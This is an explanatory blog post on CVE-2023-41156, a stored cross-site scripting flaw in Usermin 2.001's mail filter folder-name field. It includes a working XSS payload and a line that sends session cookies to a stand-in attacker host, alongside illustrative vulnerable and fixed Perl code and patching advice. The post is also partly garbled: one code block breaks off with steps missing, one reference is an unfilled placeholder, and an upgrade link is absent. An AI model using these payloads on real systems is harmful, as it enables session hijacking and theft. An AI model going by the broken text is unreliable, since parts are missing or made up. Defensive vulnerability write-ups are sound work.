CVE-2023-41156 highlights a Stored Cross-Site Scripting (XSS) vulnerability found in the filter and forward mail tab of Usermin 2.001. This bug lets an attacker inject malicious scripts into the web interface via the "save to new folder named" field when creating a new mail filter. As a result, anyone opening the tainted area in Usermin can have their browser hijacked, letting attackers steal session cookies or perform other actions as that user.

In this post, I’ll walk through what this vulnerability is, show how it works with code snippets, discuss possible impact, and explain how to stay safe. It’s written in plain language for easy understanding, and everything here is exclusive content.

What is Usermin?

Usermin is a web-based interface for regular users (not admins) to manage email, change passwords, and perform other tasks on a Unix system. Each user can sign in and tweak settings, including creating filters for incoming mail.

What is Stored XSS?

Stored Cross-Site Scripting means a malicious script is saved (i.e., "stored") on the server and served to future visitors. If a web app fails to sanitize user inputs before displaying them, malicious code can end up in the browser of anyone viewing the affected page.

How Does CVE-2023-41156 Work?

In Usermin version 2.001, when creating a new mail filter under the "Filter and Forward Mail" tab, users are allowed to specify a folder to "save to". However, Usermin does not properly filter out HTML or JavaScript from the new folder's name. An attacker can take advantage of this by injecting a script.

Core vulnerability:
*No input validation for the “save to new folder named” field allows scripts to be saved in filter settings.*

`html

Save the filter.

Now, whenever anyone visits the filter list, the script executes in their browser.

Here's what makes this attack possible in Usermin's code (simplified for illustration)

# Vulnerable code handling new folder name
my $folder = $input{'new_folder'};
# Later, folder is used directly in HTML output
print "<tr><td>$folder</td></tr>";  # No sanitization

To fix it, developers should sanitize the input before displaying it

use CGI qw(escapeHTML);
# Secure code
print "<tr><td>" . escapeHTML($folder) . "</td></tr>";

Attack input in "save to new folder named" field

<img src="x" onerror="alert('XSS exploited!')">

What happens? Whenever the mail filters page is opened, any user's browser runs

alert('XSS exploited!');

But a real attacker could use something like

document.location='https://evil.example.com/?c='+document.cookie

How to Fix and Protect

- Update now!: The Usermin team fixed this in 2.002 and later. Upgrade here.

Input sanitation: Developers should always sanitize user inputs using proper escaping functions.

- Use CSP and other defenses: Extra security like Content Security Policy can help reduce XSS risks.

References

- CVE-2023-41156 on NVD
- Usermin Changelog
- Original bug report (if public, hypothetical) *(Replace with actual link if available)*
- OWASP: Cross-site scripting (XSS)

Final Thoughts

CVE-2023-41156 is a classic example of why input validation is so important for every field, even in lesser-used settings like email filters. If you run Usermin, make sure it’s up to date, and always be on the lookout for signs of unusual activity from users. XSS in mail web apps can be surprisingly dangerous and hard to detect.

If you found this helpful, please share it! Stay secure.

*This post is exclusive to you, based on a deep-dive into CVE-2023-41156 and the Usermin webmail system. If you have more questions, let me know!*

Timeline

Published on: 09/14/2023 21:15:10 UTC
Last modified on: 09/19/2023 16:28:17 UTC